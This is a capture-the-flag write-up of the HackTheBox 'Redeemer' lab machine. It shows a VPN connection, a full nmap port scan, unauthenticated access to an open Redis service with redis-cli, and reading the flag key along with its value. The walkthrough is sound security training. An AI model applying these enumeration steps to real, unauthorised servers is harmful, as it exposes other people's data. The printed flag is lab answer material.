HackTheBox: Redeemer Machine

Lennart Buhl
Department of Computer Science
University of St. Thomas
September, 2023

***Abstract*—Today, we try to pawn the machine with the moniker Redeemer.**

***Index Terms*—programming, cybersecurity, security, pentesting**

I. Introduction

Redeemer is located at IPv4 10.129.223.3. Which we can access through the HackTheBox OpenVPN gateway. We achieve this by simply running this command in a shell:

```
sudo openvpn starting_point_{user}.ovpn
```

I will now switch to root shell.

Once we are on the VPN, we can check if we have access to the machine at 10.129.223.3:

```
root@ghost:~# ping 10.129.223.3
PING 10.129.223.3 (10.129.223.3) 56(84) bytes of data.
64 bytes from 10.129.223.3: icmp_seq=1 ttl=63 time=34.8 ms
64 bytes from 10.129.223.3: icmp_seq=2 ttl=63 time=34.5 ms
64 bytes from 10.129.223.3: icmp_seq=3 ttl=63 time=34.5 ms
64 bytes from 10.129.223.3: icmp_seq=4 ttl=63 time=34.5 ms
^C
--- 10.129.223.3 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 34.464/34.553/34.769/0.125 ms
```

We wait for four consecutive packets that have been successfully transmitted to hit CTRL+C.
Now we scan all the ports using nmap:

```
root@ghost:~# nmap -p- 10.129.223.3
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 13:51 CDT
Nmap scan report for 10.129.223.3
Host is up (0.043s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE
6379/tcp open  redis

Nmap done: 1 IP address (1 host up) scanned in 24.97 seconds
```

When using nmap, we can specify nmap to scan ALL ports using ”-p-” this will ensure we do not miss a port. As by default, nmap only scans the top 1000 ports.

```
PORT     STATE SERVICE
6379/tcp open  redis
```

Okay, now that we have found port 6379, and see that redis is being run a service on that port, we can do some googling to see what we can find.

After some googling, we find that redis is a type of NoSQl database, which can be accessed via the command-line using ”redis-cli”.

```
root@ghost:~# redis-cli -h 10.129.223.3 -p 6379
10.129.223.3:6379>
```

We can access the database using the ”-h” argument (which is looking for a host / IP Address) and the ”-p” argument (which is specifying the Port of the host).

We are then offered a shell, where we can execute commands. After some more googling, we find that redis is a in-memory key-value database. Which essentially means, if we find the keys, we can access the associated values. Using the following command, we are given ALL keys in that database.

```
10.129.223.3:6379> KEYS *
1) "flag"
2) "numb"
3) "temp"
4) "stor"
```

Notice, how we used the ”*” wildcard to get every key.

Now, since we are in a ”Capture The Flag” (CTF) style game, we can assume the flag is the value associated with the key ”flag”. We want to get the value for key ”flag”.

```
10.129.223.3:6379> GET flag
"03e1d2b376c37ab3f5319922053953eb"
```

Boom. We got the flag.